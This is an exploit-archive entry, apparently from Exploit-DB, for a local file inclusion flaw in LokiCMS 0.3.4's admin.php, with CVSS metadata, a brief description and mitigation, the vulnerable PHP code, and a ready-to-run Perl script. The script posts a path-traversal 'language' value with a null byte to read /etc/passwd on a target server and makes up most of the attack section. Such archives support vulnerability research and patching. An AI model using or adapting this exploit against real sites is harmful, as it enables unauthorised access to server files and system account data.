LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit

vendor:

LokiCMS

by:

JosS

7.5

CVSS

HIGH

Local File Inclusion

CWE

Product Name: LokiCMS

Affected Version From: 2000.3.4

Affected Version To: 2000.3.4

Patch Exists: NO

Related CWE: N/A

CPE: a:lokicms:lokicms:0.3.4

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2009

LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit

This exploit allows an attacker to include a local file on the server, such as the /etc/passwd file, by manipulating the 'language' parameter in the 'admin.php' file. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'language' parameter. An attacker can exploit this vulnerability by sending a specially crafted HTTP request with a malicious 'language' parameter.

Mitigation:

Ensure that user-supplied input is properly sanitized before being used in the application.

Source

Exploit-DB raw data:

# LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit
# url: http://www.lokicms.com/
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
# Greetz To: All Hackers and milw0rm website
#
# *Requirements: magic_quotes_gpc = Off

-----------------------------------------------------------
I had one idea when i saw http://milw0rm.com/exploits/6743
I created the exploit that creates LFI.
-----------------------------------------------------------

vuln file: admin.php
vuln code:

		case 'A_SAVE_G_SETTINGS': //save main settings
			writeconfig ( $c_password, $_POST['title'], $_POST['header'], $_POST['tagline'], $_POST
['footnote'], $c_default, $_POST['theme'], $_POST['language'], $_POST['modrewrite'], $_POST['simplelink'], $_POST
['code'] );
  			$c_theme = $_POST['theme'];
			include PATH . '/includes/Config.php';
			include PATH . '/languages/' . $c_lang . '.lang.php'; --------> FUCKING THIS INCLUDE!!!!
			$msg = $lang ['admin'] ['expressionSettingsSaved'];
	         break;

--------
Exploit:
--------

use LWP::UserAgent;

unless ($ARGV[0] && $ARGV[1])
{
    print "\n[x] LokiCMS 0.3.4 (admin.php) Create Local File Inclusion Exploit\n";
    print "[x] written by JosS - sys-project[at]hotmail.com\n";
    print "[x] usage: perl $0 [host] [path]\n";
    print "[x] example: perl $0 localhost /lokicms/ \n\n";
    exit(1);
}

my $lwp = new LWP::UserAgent or die;
 
my $target  =  $ARGV[0] =~ /^http:\/\// ?  $ARGV[0]:  'http://' . $ARGV[0];
   $target .=  $ARGV[1] unless not defined $ARGV[1];
   $target .= '/' unless $target =~ /^http:\/\/(.?)\/$/;

my $res = $lwp->post($target.'admin.php', 
                                [ 'LokiACTION' =>  'A_SAVE_G_SETTINGS',
                                  'language'   =>  '../../../../../../../../../../etc/passwd%00']);

if($res->is_error)
{
    print "[-] Exploit failed!\n";
    exit ();
}

--------

ENTERS ADMIN.PHP TO SEE /ETC/PASSWD

Ingenious work :D

# milw0rm.com [2008-10-13]